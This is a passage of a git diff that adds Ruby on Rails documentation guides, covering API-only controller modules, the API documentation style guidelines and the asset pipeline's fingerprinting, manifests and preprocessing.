`ActionDispatch::Flash` +- For session management + * `ActionDispatch::Session::CacheStore` + * `ActionDispatch::Session::CookieStore` + * `ActionDispatch::Session::MemCacheStore` + +Any of these middleware can be added via: + +```ruby +config.middleware.use Rack::MethodOverride +``` + +### Removing Middleware + +If you don't want to use a middleware that is included by default in the API-only +middleware set, you can remove it with: + +```ruby +config.middleware.delete ::Rack::Sendfile +``` + +Keep in mind that removing these middlewares will remove support for certain +features in Action Controller. + +Choosing Controller Modules +--------------------------- + +An API application (using `ActionController::API`) comes with the following +controller modules by default: + +- `ActionController::UrlFor`: Makes `url_for` and similar helpers available. +- `ActionController::Redirecting`: Support for `redirect_to`. +- `AbstractController::Rendering` and `ActionController::ApiRendering`: Basic support for rendering. +- `ActionController::Renderers::All`: Support for `render :json` and friends. +- `ActionController::ConditionalGet`: Support for `stale?`. +- `ActionController::BasicImplicitRender`: Makes sure to return an empty response, if there isn't an explicit one. +- `ActionController::StrongParameters`: Support for parameters white-listing in combination with Active Model mass assignment. +- `ActionController::DataStreaming`: Support for `send_file` and `send_data`. +- `AbstractController::Callbacks`: Support for `before_action` and + similar helpers. +- `ActionController::Rescue`: Support for `rescue_from`. +- `ActionController::Instrumentation`: Support for the instrumentation + hooks defined by Action Controller (see [the instrumentation + guide](active_support_instrumentation.html#action-controller) for +more information regarding this). +- `ActionController::ParamsWrapper`: Wraps the parameters hash into a nested hash, + so that you don't have to specify root elements sending POST requests for instance. +- `ActionController::Head`: Support for returning a response with no content, only headers + +Other plugins may add additional modules. You can get a list of all modules +included into `ActionController::API` in the rails console: + +```bash +$ rails c +>> ActionController::API.ancestors - ActionController::Metal.ancestors +=> [ActionController::API, + ActiveRecord::Railties::ControllerRuntime, + ActionDispatch::Routing::RouteSet::MountedHelpers, + ActionController::ParamsWrapper, + ... , + AbstractController::Rendering, + ActionView::ViewPaths] +``` + +### Adding Other Modules + +All Action Controller modules know about their dependent modules, so you can feel +free to include any modules into your controllers, and all dependencies will be +included and set up as well. + +Some common modules you might want to add: + +- `AbstractController::Translation`: Support for the `l` and `t` localization + and translation methods. +- Support for basic, digest, or token HTTP authentication: + * `ActionController::HttpAuthentication::Basic::ControllerMethods`, + * `ActionController::HttpAuthentication::Digest::ControllerMethods`, + * `ActionController::HttpAuthentication::Token::ControllerMethods` +- `ActionView::Layouts`: Support for layouts when rendering. +- `ActionController::MimeResponds`: Support for `respond_to`. +- `ActionController::Cookies`: Support for `cookies`, which includes + support for signed and encrypted cookies. This requires the cookies middleware. + +The best place to add a module is in your `ApplicationController`, but you can +also add modules to individual controllers. diff --git a/guides/source/api_documentation_guidelines.md b/guides/source/api_documentation_guidelines.md new file mode 100644 index 0000000000..b6ee7354f9 --- /dev/null +++ b/guides/source/api_documentation_guidelines.md @@ -0,0 +1,366 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +API Documentation Guidelines +============================ + +This guide documents the Ruby on Rails API documentation guidelines. + +After reading this guide, you will know: + +* How to write effective prose for documentation purposes. +* Style guidelines for documenting different kinds of Ruby code. + +-------------------------------------------------------------------------------- + +RDoc +---- + +The [Rails API documentation](http://api.rubyonrails.org) is generated with +[RDoc](https://ruby.github.io/rdoc/). To generate it, make sure you are +in the rails root directory, run `bundle install` and execute: + +```bash + bundle exec rake rdoc +``` + +Resulting HTML files can be found in the ./doc/rdoc directory. + +Please consult the RDoc documentation for help with the +[markup](https://ruby.github.io/rdoc/RDoc/Markup.html), +and also take into account these [additional +directives](https://ruby.github.io/rdoc/RDoc/Parser/Ruby.html). + +Wording +------- + +Write simple, declarative sentences. Brevity is a plus: get to the point. + +Write in present tense: "Returns a hash that...", rather than "Returned a hash that..." or "Will return a hash that...". + +Start comments in upper case. Follow regular punctuation rules: + +```ruby +# Declares an attribute reader backed by an internally-named +# instance variable. +def attr_internal_reader(*attrs) + ... +end +``` + +Communicate to the reader the current way of doing things, both explicitly and implicitly. Use the idioms recommended in edge. Reorder sections to emphasize favored approaches if needed, etc. The documentation should be a model for best practices and canonical, modern Rails usage. + +Documentation has to be concise but comprehensive. Explore and document edge cases. What happens if a module is anonymous? What if a collection is empty? What if an argument is nil? + +The proper names of Rails components have a space in between the words, like "Active Support". `ActiveRecord` is a Ruby module, whereas Active Record is an ORM. All Rails documentation should consistently refer to Rails components by their proper name, and if in your next blog post or presentation you remember this tidbit and take it into account that'd be phenomenal. + +Spell names correctly: Arel, minitest, RSpec, HTML, MySQL, JavaScript, ERB. When in doubt, please have a look at some authoritative source like their official documentation. + +Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database". + +Prefer wordings that avoid "you"s and "your"s. For example, instead of + +```markdown +If you need to use `return` statements in your callbacks, it is recommended that you explicitly define them as methods. +``` + +use this style: + +```markdown +If `return` is needed it is recommended to explicitly define a method. +``` + +That said, when using pronouns in reference to a hypothetical person, such as "a +user with a session cookie", gender neutral pronouns (they/their/them) should be +used. Instead of: + +* he or she... use they. +* him or her... use them. +* his or her... use their. +* his or hers... use theirs. +* himself or herself... use themselves. + +English +------- + +Please use American English (*color*, *center*, *modularize*, etc). See [a list of American and British English spelling differences here](https://en.wikipedia.org/wiki/American_and_British_English_spelling_differences). + +Oxford Comma +------------ + +Please use the [Oxford comma](https://en.wikipedia.org/wiki/Serial_comma) +("red, white, and blue", instead of "red, white and blue"). + +Example Code +------------ + +Choose meaningful examples that depict and cover the basics as well as interesting points or gotchas. + +Use two spaces to indent chunks of code--that is, for markup purposes, two spaces with respect to the left margin. The examples themselves should use [Rails coding conventions](contributing_to_ruby_on_rails.html#follow-the-coding-conventions). + +Short docs do not need an explicit "Examples" label to introduce snippets; they just follow paragraphs: + +```ruby +# Converts a collection of elements into a formatted string by +# calling +to_s+ on all elements and joining them. +# +# Blog.all.to_formatted_s # => "First PostSecond PostThird Post" +``` + +On the other hand, big chunks of structured documentation may have a separate "Examples" section: + +```ruby +# ==== Examples +# +# Person.exists?(5) +# Person.exists?('5') +# Person.exists?(name: "David") +# Person.exists?(['name LIKE ?', "%#{query}%"]) +``` + +The results of expressions follow them and are introduced by "# => ", vertically aligned: + +```ruby +# For checking if an integer is even or odd. +# +# 1.even? # => false +# 1.odd? # => true +# 2.even? # => true +# 2.odd? # => false +``` + +If a line is too long, the comment may be placed on the next line: + +```ruby +# label(:article, :title) +# # => <label for="article_title">Title</label> +# +# label(:article, :title, "A short title") +# # => <label for="article_title">A short title</label> +# +# label(:article, :title, "A short title", class: "title_label") +# # => <label for="article_title" class="title_label">A short title</label> +``` + +Avoid using any printing methods like `puts` or `p` for that purpose. + +On the other hand, regular comments do not use an arrow: + +```ruby +# polymorphic_url(record) # same as comment_url(record) +``` + +Booleans +-------- + +In predicates and flags prefer documenting boolean semantics over exact values. + +When "true" or "false" are used as defined in Ruby use regular font. The +singletons `true` and `false` need fixed-width font. Please avoid terms like +"truthy", Ruby defines what is true and false in the language, and thus those +words have a technical meaning and need no substitutes. + +As a rule of thumb, do not document singletons unless absolutely necessary. That +prevents artificial constructs like `!!` or ternaries, allows refactors, and the +code does not need to rely on the exact values returned by methods being called +in the implementation. + +For example: + +```markdown +`config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default +``` + +the user does not need to know which is the actual default value of the flag, +and so we only document its boolean semantics. + +An example with a predicate: + +```ruby +# Returns true if the collection is empty. +# +# If the collection has been loaded +# it is equivalent to <tt>collection.size.zero?</tt>. If the +# collection has not been loaded, it is equivalent to +# <tt>collection.exists?</tt>. If the collection has not already been +# loaded and you are going to fetch the records anyway it is better to +# check <tt>collection.length.zero?</tt>. +def empty? + if loaded? + size.zero? + else + @target.blank? && !scope.exists? + end +end +``` + +The API is careful not to commit to any particular value, the method has +predicate semantics, that's enough. + +File Names +---------- + +As a rule of thumb, use filenames relative to the application root: + +``` +config/routes.rb # YES +routes.rb # NO +RAILS_ROOT/config/routes.rb # NO +``` + +Fonts +----- + +### Fixed-width Font + +Use fixed-width fonts for: + +* Constants, in particular class and module names. +* Method names. +* Literals like `nil`, `false`, `true`, `self`. +* Symbols. +* Method parameters. +* File names. + +```ruby +class Array + # Calls +to_param+ on all its elements and joins the result with + # slashes. This is used by +url_for+ in Action Pack. + def to_param + collect { |e| e.to_param }.join '/' + end +end +``` + +WARNING: Using `+...+` for fixed-width font only works with simple content like +ordinary method names, symbols, paths (with forward slashes), etc. Please use +`<tt>...</tt>` for everything else, notably class or module names with a +namespace as in `<tt>ActiveRecord::Base</tt>`. + +You can quickly test the RDoc output with the following command: + +``` +$ echo "+:to_param+" | rdoc --pipe +# => <p><code>:to_param</code></p> +``` + +### Regular Font + +When "true" and "false" are English words rather than Ruby keywords use a regular font: + +```ruby +# Runs all the validations within the specified context. +# Returns true if no errors are found, false otherwise. +# +# If the argument is false (default is +nil+), the context is +# set to <tt>:create</tt> if <tt>new_record?</tt> is true, +# and to <tt>:update</tt> if it is not. +# +# Validations with no <tt>:on</tt> option will run no +# matter the context. Validations with # some <tt>:on</tt> +# option will only run in the specified context. +def valid?(context = nil) + ... +end +``` + +Description Lists +----------------- + +In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols): + +```ruby +# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+. +``` + +The description starts in upper case and ends with a full stop-it's standard English. + +Dynamically Generated Methods +----------------------------- + +Methods created with `(module|class)_eval(STRING)` have a comment by their side with an instance of the generated code. That comment is 2 spaces away from the template: + +```ruby +for severity in Severity.constants + class_eval <<-EOT, __FILE__, __LINE__ + 1 + def #{severity.downcase}(message = nil, progname = nil, &block) # def debug(message = nil, progname = nil, &block) + add(#{severity}, message, progname, &block) # add(DEBUG, message, progname, &block) + end # end + # + def #{severity.downcase}? # def debug? + #{severity} >= @level # DEBUG >= @level + end # end + EOT +end +``` + +If the resulting lines are too wide, say 200 columns or more, put the comment above the call: + +```ruby +# def self.find_by_login_and_activated(*args) +# options = args.extract_options! +# ... +# end +self.class_eval %{ + def self.#{method_id}(*args) + options = args.extract_options! + ... + end +} +``` + +Method Visibility +----------------- + +When writing documentation for Rails, it's important to understand the difference between public user-facing API vs internal API. + +Rails, like most libraries, uses the private keyword from Ruby for defining internal API. However, public API follows a slightly different convention. Instead of assuming all public methods are designed for user consumption, Rails uses the `:nodoc:` directive to annotate these kinds of methods as internal API. + +This means that there are methods in Rails with `public` visibility that aren't meant for user consumption. + +An example of this is `ActiveRecord::Core::ClassMethods#arel_table`: + +```ruby +module ActiveRecord::Core::ClassMethods + def arel_table #:nodoc: + # do some magic.. + end +end +``` + +If you thought, "this method looks like a public class method for `ActiveRecord::Core`", you were right. But actually the Rails team doesn't want users to rely on this method. So they mark it as `:nodoc:` and it's removed from public documentation. The reasoning behind this is to allow the team to change these methods according to their internal needs across releases as they see fit. The name of this method could change, or the return value, or this entire class may disappear; there's no guarantee and so you shouldn't depend on this API in your plugins or applications. Otherwise, you risk your app or gem breaking when you upgrade to a newer release of Rails. + +As a contributor, it's important to think about whether this API is meant for end-user consumption. The Rails team is committed to not making any breaking changes to public API across releases without going through a full deprecation cycle. It's recommended that you `:nodoc:` any of your internal methods/classes unless they're already private (meaning visibility), in which case it's internal by default. Once the API stabilizes the visibility can change, but changing public API is much harder due to backwards compatibility. + +A class or module is marked with `:nodoc:` to indicate that all methods are internal API and should never be used directly. + +To summarize, the Rails team uses `:nodoc:` to mark publicly visible methods and classes for internal use; changes to the visibility of API should be considered carefully and discussed over a pull request first. + +Regarding the Rails Stack +------------------------- + +When documenting parts of Rails API, it's important to remember all of the +pieces that go into the Rails stack. + +This means that behavior may change depending on the scope or context of the +method or class you're trying to document. + +In various places there is different behavior when you take the entire stack +into account, one such example is +`ActionView::Helpers::AssetTagHelper#image_tag`: + +```ruby +# image_tag("icon.png") +# # => <img src="/assets/icon.png" /> +``` + +Although the default behavior for `#image_tag` is to always return +`/images/icon.png`, we take into account the full Rails stack (including the +Asset Pipeline) we may see the result seen above. + +We're only concerned with the behavior experienced when using the full default +Rails stack. + +In this case, we want to document the behavior of the _framework_, and not just +this specific method. + +If you have a question on how the Rails team handles certain API, don't hesitate to open a ticket or send a patch to the [issue tracker](https://github.com/rails/rails/issues). diff --git a/guides/source/asset_pipeline.md b/guides/source/asset_pipeline.md new file mode 100644 index 0000000000..500e230ff9 --- /dev/null +++ b/guides/source/asset_pipeline.md @@ -0,0 +1,1231 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +The Asset Pipeline +================== + +This guide covers the asset pipeline. + +After reading this guide, you will know: + +* What the asset pipeline is and what it does. +* How to properly organize your application assets. +* The benefits of the asset pipeline. +* How to add a pre-processor to the pipeline. +* How to package assets with a gem. + +-------------------------------------------------------------------------------- + +What is the Asset Pipeline? +--------------------------- + +The asset pipeline provides a framework to concatenate and minify or compress +JavaScript and CSS assets. It also adds the ability to write these assets in +other languages and pre-processors such as CoffeeScript, Sass, and ERB. +It allows assets in your application to be automatically combined with assets +from other gems. + +The asset pipeline is implemented by the +[sprockets-rails](https://github.com/rails/sprockets-rails) gem, +and is enabled by default. You can disable it while creating a new application by +passing the `--skip-sprockets` option. + +```bash +rails new appname --skip-sprockets +``` + +Rails automatically adds the `sass-rails`, `coffee-rails` and `uglifier` +gems to your `Gemfile`, which are used by Sprockets for asset compression: + +```ruby +gem 'sass-rails' +gem 'uglifier' +gem 'coffee-rails' +``` + +Using the `--skip-sprockets` option will prevent Rails from adding +them to your `Gemfile`, so if you later want to enable +the asset pipeline you will have to add those gems to your `Gemfile`. Also, +creating an application with the `--skip-sprockets` option will generate +a slightly different `config/application.rb` file, with a require statement +for the sprockets railtie that is commented-out. You will have to remove +the comment operator on that line to later enable the asset pipeline: + +```ruby +# require "sprockets/railtie" +``` + +To set asset compression methods, set the appropriate configuration options +in `production.rb` - `config.assets.css_compressor` for your CSS and +`config.assets.js_compressor` for your JavaScript: + +```ruby +config.assets.css_compressor = :yui +config.assets.js_compressor = :uglifier +``` + +NOTE: The `sass-rails` gem is automatically used for CSS compression if included +in the `Gemfile` and no `config.assets.css_compressor` option is set. + + +### Main Features + +The first feature of the pipeline is to concatenate assets, which can reduce the +number of requests that a browser makes to render a web page. Web browsers are +limited in the number of requests that they can make in parallel, so fewer +requests can mean faster loading for your application. + +Sprockets concatenates all JavaScript files into one master `.js` file and all +CSS files into one master `.css` file. As you'll learn later in this guide, you +can customize this strategy to group files any way you like. In production, +Rails inserts an SHA256 fingerprint into each filename so that the file is +cached by the web browser. You can invalidate the cache by altering this +fingerprint, which happens automatically whenever you change the file contents. + +The second feature of the asset pipeline is asset minification or compression. +For CSS files, this is done by removing whitespace and comments. For JavaScript, +more complex processes can be applied. You can choose from a set of built in +options or specify your own. + +The third feature of the asset pipeline is it allows coding assets via a +higher-level language, with precompilation down to the actual assets. Supported +languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by +default. + +### What is Fingerprinting and Why Should I Care? + +Fingerprinting is a technique that makes the name of a file dependent on the +contents of the file. When the file contents change, the filename is also +changed. For content that is static or infrequently changed, this provides an +easy way to tell whether two versions of a file are identical, even across +different servers or deployment dates. + +When a filename is unique and based on its content, HTTP headers can be set to +encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment, +or in web browsers) to keep their own copy of the content. When the content is +updated, the fingerprint will change. This will cause the remote clients to +request a new copy of the content. This is generally known as _cache busting_. + +The technique Sprockets uses for fingerprinting is to insert a hash of the +content into the name, usually at the end. For example a CSS file `global.css` + +``` +global-908e25f4bf641868d8683022a5b62f54.css +``` + +This is the strategy adopted by the Rails asset pipeline. + +Rails' old strategy was to append a date-based query string to every asset linked +with a built-in helper. In the source the generated code looked like this: + +``` +/stylesheets/global.css?1309495796 +``` + +The query string strategy has several disadvantages: + +1. **Not all caches will reliably cache content where the filename only differs by +query parameters** + + [Steve Souders recommends](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/), + "...avoiding a querystring for cacheable resources". He found that in this +case 5-20% of requests will not be cached. Query strings in particular do not +work at all with some CDNs for cache invalidation. + +2. **The file name can change between nodes in multi-server environments.** + + The default query string in Rails 2.x is based on the modification time of +the files. When assets are deployed to a cluster, there is no guarantee that the +timestamps will be the same, resulting in different values being used depending +on which server handles the request. + +3. **Too much cache invalidation** + + When static assets are deployed with each new release of code, the mtime +(time of last modification) of _all_ these files changes, forcing all remote +clients to fetch them again, even when the content of those assets has not changed. + +Fingerprinting fixes these problems by avoiding query strings, and by ensuring +that filenames are consistent based on their content. + +Fingerprinting is enabled by default for both the development and production +environments. You can enable or disable it in your configuration through the +`config.assets.digest` option. + +More reading: + +* [Optimize caching](https://developers.google.com/speed/docs/insights/LeverageBrowserCaching) +* [Revving Filenames: don't use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/) + + +How to Use the Asset Pipeline +----------------------------- + +In previous versions of Rails, all assets were located in subdirectories of +`public` such as `images`, `javascripts` and `stylesheets`. With the asset +pipeline, the preferred location for these assets is now the `app/assets` +directory. Files in this directory are served by the Sprockets middleware. + +Assets can still be placed in the `public` hierarchy. Any assets under `public` +will be served as static files by the application or web server when +`config.public_file_server.enabled` is set to true. You should use `app/assets` for +files that must undergo some pre-processing before they are served. + +In production, Rails precompiles these files to `public/assets` by default. The +precompiled copies are then served as static assets by the web server. The files +in `app/assets` are never served directly in production. + +### Controller Specific Assets + +When you generate a scaffold or a controller, Rails also generates a JavaScript +file (or CoffeeScript file if the `coffee-rails` gem is in the `Gemfile`) and a +Cascading Style Sheet file (or SCSS file if `sass-rails` is in the `Gemfile`) +for that controller. Additionally, when generating a scaffold, Rails generates +the file `scaffolds.css` (or `scaffolds.scss` if `sass-rails` is in the +`Gemfile`.) + +For example, if you generate a `ProjectsController`, Rails will also add a new +file at `app/assets/stylesheets/projects.scss`. By default these files will be +ready to use by your application immediately using the `require_tree` directive. See +[Manifest Files and Directives](#manifest-files-and-directives) for more details +on require_tree. + +You can also opt to include controller specific stylesheets and JavaScript files +only in their respective controllers using the following: + +`<%= javascript_include_tag params[:controller] %>` or `<%= stylesheet_link_tag +params[:controller] %>` + +When doing this, ensure you are not using the `require_tree` directive, as that +will result in your assets being included more than once. + +WARNING: When using asset precompilation, you will need to ensure that your +controller assets will be precompiled when loading them on a per page basis. By +default `.coffee` and `.scss` files will not be precompiled on their own. See +[Precompiling Assets](#precompiling-assets) for more information on how +precompiling works. + +NOTE: You must have an ExecJS supported runtime in order to use CoffeeScript. +If you are using macOS or Windows, you have a JavaScript runtime installed in +your operating system. Check [ExecJS](https://github.com/rails/execjs#readme) documentation to know all supported JavaScript runtimes. + +You can also disable generation of controller specific asset files by adding the +following to your `config/application.rb` configuration: + +```ruby + config.generators do |g| + g.assets false + end +``` + +### Asset Organization + +Pipeline assets can be placed inside an application in one of three locations: +`app/assets`, `lib/assets` or `vendor/assets`. + +* `app/assets` is for assets that are owned by the application, such as custom +images, JavaScript files, or stylesheets. + +* `lib/assets` is for your own libraries' code that doesn't really fit into the +scope of the application or those libraries which are shared across applications. + +* `vendor/assets` is for assets that are owned by outside entities, such as +code for JavaScript plugins and CSS frameworks. Keep in mind that third party +code with references to other files also processed by the asset Pipeline (images, +stylesheets, etc.), will need to be rewritten to use helpers like `asset_path`. + +#### Search Paths + +When a file is referenced from a manifest or a helper, Sprockets searches the +three default asset locations for it. + +The default locations are: the `images`, `javascripts` and `stylesheets` +directories under the `app/assets` folder, but these subdirectories +are not special - any path under `assets/*` will be searched. + +For example, these files: + +``` +app/assets/javascripts/home.js +lib/assets/javascripts/moovinator.js +vendor/assets/javascripts/slider.js +vendor/assets/somepackage/phonebox.js +``` + +would be referenced in a manifest like this: + +```js +//= require home +//= require moovinator +//= require slider +//= require phonebox +``` + +Assets inside subdirectories can also be accessed. + +``` +app/assets/javascripts/sub/something.js +``` + +is referenced as: + +```js +//= require sub/something +``` + +You can view the search path by inspecting +`Rails.application.config.assets.paths` in the Rails console. + +Besides the standard `assets/*` paths, additional (fully qualified) paths can be +added to the pipeline in `config/initializers/assets.rb`. For example: + +```ruby +Rails.application.config.assets.paths << Rails.root.join("lib", "videoplayer", "flash") +``` + +Paths are traversed in the order they occur in the search path. By default, +this means the files in `app/assets` take precedence, and will mask +corresponding paths in `lib` and `vendor`. + +It is important to note that files you want to reference outside a manifest must +be added to the precompile array or they will not be available in the production +environment. + +#### Using Index Files + +Sprockets uses files named `index` (with the relevant extensions) for a special +purpose. + +For example, if you have a jQuery library with many modules, which is stored in +`lib/assets/javascripts/library_name`, the file `lib/assets/javascripts/library_name/index.js` serves as +the manifest for all files in this library. This file could include a list of +all the required files in order, or a simple `require_tree` directive. + +The library as a whole can be accessed in the application manifest like so: + +```js +//= require library_name +``` + +This simplifies maintenance and keeps things clean by allowing related code to +be grouped before inclusion elsewhere. + +### Coding Links to Assets + +Sprockets does not add any new methods to access your assets - you still use the +familiar `javascript_include_tag` and `stylesheet_link_tag`: + +```erb +<%= stylesheet_link_tag "application", media: "all" %> +<%= javascript_include_tag "application" %> +``` + +If using the turbolinks gem, which is included by default in Rails, then +include the 'data-turbolinks-track' option which causes turbolinks to check if +an asset has been updated and if so loads it into the page: + +```erb +<%= stylesheet_link_tag "application", media: "all", "data-turbolinks-track" => "reload" %> +<%= javascript_include_tag "application", "data-turbolinks-track" => "reload" %> +``` + +In regular views you can access images in the `app/assets/images` directory +like this: + +```erb +<%= image_tag "rails.png" %> +``` + +Provided that the pipeline is enabled within your application (and not disabled +in the current environment context), this file is served by Sprockets. If a file +exists at `public/assets/rails.png` it is served by the web server. + +Alternatively, a request for a file with an SHA256 hash such as +`public/assets/rails-f90d8a84c707a8dc923fca1ca1895ae8ed0a09237f6992015fef1e11be77c023.png` +is treated the same way. How these hashes are generated is covered in the [In +Production](#in-production) section later on in this guide. + +Sprockets will also look through the paths specified in `config.assets.paths`, +which includes the standard application paths and any paths added by Rails +engines. + +Images can also be organized into subdirectories if required, and then can be +accessed by specifying the directory's name in the tag: + +```erb +<%= image_tag "icons/rails.png" %> +``` + +WARNING: If you're precompiling your assets (see [In Production](#in-production) +below), linking to an asset that does not exist will raise an exception in the +calling page. This includes linking to a blank string. As such, be careful using +`image_tag` and the other helpers with user-supplied data. + +#### CSS and ERB + +The asset pipeline automatically evaluates ERB. This means if you add an +`erb` extension to a CSS asset (for example, `application.css.erb`), then +helpers like `asset_path` are available in your CSS rules: + +```css +.class { background-image: url(<%= asset_path 'image.png' %>) } +``` + +This writes the path to the particular asset being referenced. In this example, +it would make sense to have an image in one of the asset load paths, such as +`app/assets/images/image.png`, which would be referenced here. If this image is +already available in `public/assets` as a fingerprinted file, then that path is +referenced. + +If you want to use a [data URI](https://en.wikipedia.org/wiki/Data_URI_scheme) - +a method of embedding the image data directly into the CSS file - you can use +the `asset_data_uri` helper. + +```css +#logo { background: url(<%= asset_data_uri 'logo.png' %>) } +``` + +This inserts a correctly-formatted data URI into the CSS source. + +Note that the closing tag cannot be of the style `-%>`. + +#### CSS and Sass + +When using the asset pipeline, paths to assets must be re-written and +`sass-rails` provides `-url` and `-path` helpers (hyphenated in Sass, +underscored in Ruby) for the following asset classes: image, font, video, audio, +JavaScript and stylesheet. + +* `image-url("rails.png")` returns `url(/assets/rails.png)` +* `image-path("rails.png")` returns `"/assets/rails.png"` + +The more generic form can also be used: + +* `asset-url("rails.png")` returns `url(/assets/rails.png)` +* `asset-path("rails.png")` returns `"/assets/rails.png"` + +#### JavaScript/CoffeeScript and ERB + +If you add an `erb` extension to a JavaScript asset, making it something such as +`application.js.erb`, you can then use the `asset_path` helper in your +JavaScript code: + +```js +$('#logo').attr({ src: "<%= asset_path('logo.png') %>" }); +``` + +This writes the path to the particular asset being referenced. + +Similarly, you can use the `asset_path` helper in CoffeeScript files with `erb` +extension (e.g., `application.coffee.erb`): + +```js +$('#logo').attr src: "<%= asset_path('logo.png') %>" +``` + +### Manifest Files and Directives + +Sprockets uses manifest files to determine which assets to include and serve. +These manifest files contain _directives_ - instructions that tell Sprockets +which files to require in order to build a single CSS or JavaScript file. With +these directives, Sprockets loads the files specified, processes them if +necessary, concatenates them into one single file, and then compresses them +(based on value of `Rails.application.config.assets.js_compressor`). By serving +one file rather than many, the load time of pages can be greatly reduced because +the browser makes fewer requests. Compression also reduces file size, enabling +the browser to download them faster. + + +For example, a new Rails application includes a default +`app/assets/javascripts/application.js` file containing the following lines: + +```js +// ... +//= require rails-ujs +//= require turbolinks +//= require_tree . +``` + +In JavaScript files, Sprockets directives begin with `//=`. In the above case, +the file is using the `require` and the `require_tree` directives. The `require` +directive is used to tell Sprockets the files you wish to require. Here, you are +requiring the files `rails-ujs.js` and `turbolinks.js` that are available somewhere +in the search path for Sprockets. You need not supply the extensions explicitly. +Sprockets assumes you are requiring a `.js` file when done from within a `.js` +file. + +The `require_tree` directive tells Sprockets to recursively include _all_ +JavaScript files in the specified directory into the output. These paths must be +specified relative to the manifest file. You can also use the +`require_directory` directive which includes all JavaScript files only in the +directory specified, without recursion. + +Directives are processed top to bottom, but the order in which files are +included by `require_tree` is unspecified. You should not rely on any particular +order among those. If you need to ensure some particular JavaScript ends up +above some other in the concatenated file, require the prerequisite file first +in the manifest. Note that the family of `require` directives prevents files +from being included twice in the output. + +Rails also creates a default `app/assets/stylesheets/application.css` file +which contains these lines: + +```css +/* ... +*= require_self +*= require_tree . +*/ +``` + +Rails creates both `app/assets/javascripts/application.js` and +`app/assets/stylesheets/application.css` regardless of whether the +--skip-sprockets option is used when creating a new Rails application. This is +so you can easily add asset pipelining later if you like. + +The directives that work in JavaScript files also work in stylesheets +(though obviously including stylesheets rather than JavaScript files). The +`require_tree` directive in a CSS manifest works the same way as the JavaScript +one, requiring all stylesheets from the current directory. + +In this example, `require_self` is used. This puts the CSS contained within the +file (if any) at the precise location of the `require_self` call. + +NOTE. If you want to use multiple Sass files, you should generally use the [Sass `@import` rule](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import) +instead of these Sprockets directives. When using Sprockets directives, Sass files exist within +their own scope, making variables or mixins only available within the document they were defined in. + +You can do file globbing as well using `@import "*"`, and `@import "**/*"` to add the whole tree which is equivalent to how `require_tree` works. Check the [sass-rails documentation](https://github.com/rails/sass-rails#features) for more info and important caveats. + +You can have as many manifest files as you need. For example, the `admin.css` +and `admin.js` manifest could contain the JS and CSS files that are used for the +admin section of an application. + +The same remarks about ordering made above apply. In particular, you can specify +individual files and they are compiled in the order specified. For example, you +might concatenate three CSS files together this way: + +```js +/* ... +*= require reset +*= require layout +*= require chrome +*/ +``` + +### Preprocessing + +The file extensions used on an asset determine what preprocessing is applied. +When a controller or a scaffold is generated with the default Rails gemset, a +CoffeeScript file and a SCSS file are generated in place of a regular JavaScript +and CSS file. The example used before was a controller called "projects", which +generated an `app/assets/javascripts/projects.coffee` and an +`app/assets/stylesheets/projects.scss` file. + +In development mode, or if the asset pipeline is disabled, when these files are +requested they are processed by the processors provided by the `coffee-script` +and `sass` gems and then sent back to the browser as JavaScript and CSS +respectively. When asset pipelining is enabled, these files are preprocessed and +placed in the `public/assets` directory for serving by either the Rails app or +web server. + +Additional layers of preprocessing can be requested by adding other extensions, +where each extension is processed in a right-to-left manner. These should be +used in the order the processing should be applied. For example, a stylesheet +called `app/assets/stylesheets/projects.scss.erb` is first processed as ERB, +then SCSS, and finally served as CSS. The same applies to a JavaScript file - +`app/assets/javascripts/projects.coffee.erb` is processed as ERB, then +CoffeeScript, and served as JavaScript. + +Keep in mind the order of these preprocessors is important. For example, if +you called your JavaScript file `app/assets/javascripts/projects.erb.coffee` +then it would be processed with the CoffeeScript interpreter first, which +wouldn't understand ERB and therefore you would run into problems. + + +In Development +-------------- + +In development mode, assets are served as separate files in the order they are +specified in the manifest file. + +This manifest `app/assets/javascripts/application.js`: + +```js +//= require core +//= require projects +//= require tickets +``` + +would generate this HTML: + +```html +<script src="/assets/core.js?body=1"></script> +<script src="/assets/projects.js?body=1"></script> +<script src="/assets/tickets.js?body=1"></script> +``` + +The `body` param is required by Sprockets. + +### Raise an Error When an Asset is Not Found + +If you are using sprockets-rails >= 3.2.0 you can configure what happens +when an asset lookup is performed and nothing is found. If you turn off "asset fallback" +then an error will be raised when an asset cannot be found. + +```ruby +config.assets.unknown_asset_fallback = false +``` + +If "asset fallback" is enabled then when an asset cannot be found the path will be +output instead and no error raised. The asset fallback behavior is enabled by default. + +### Turning Digests Off + +You can turn off digests by updating `config/environments/development.rb` to +include: + +```ruby +config.assets.digest = false +``` + +When this option is true, digests will be generated for asset URLs. + +### Turning Debugging Off + +You can turn off debug mode by updating `config/environments/development.rb` to +include: + +```ruby +config.assets.debug = false +``` + +When debug mode is off, Sprockets concatenates and runs the necessary +preprocessors on all files. With debug mode turned off the manifest above would +generate instead: + +```html +<script src="/assets/application.js"></script> +``` + +Assets are compiled and cached on the first request after the server is started. +Sprockets sets a `must-revalidate` Cache-Control HTTP header to reduce request +overhead on subsequent requests - on these the browser gets a 304 (Not Modified) +response. + +If any of the files in the manifest have changed between requests, the server +responds with a new compiled file. + +Debug mode can also be enabled in Rails helper methods: + +```erb +<%= stylesheet_link_tag "application", debug: true %> +<%= javascript_include_tag "application", debug: true %> +``` + +The `:debug` option is redundant if debug mode is already on. + +You can also enable compression in development mode as a sanity check, and +disable it on-demand as required for debugging. + +In Production +------------- + +In the production environment Sprockets uses the fingerprinting scheme outlined +above. By default Rails assumes assets have been precompiled and will be +served as static assets by your web server. + +During the precompilation phase an SHA256 is generated from the contents of the +compiled files, and inserted into the filenames as they are written to disk. +These fingerprinted names are used by the Rails helpers in place of the manifest +name. + +For example this: + +```erb +<%= javascript_include_tag "application" %> +<%= stylesheet_link_tag "application" %> +``` + +generates 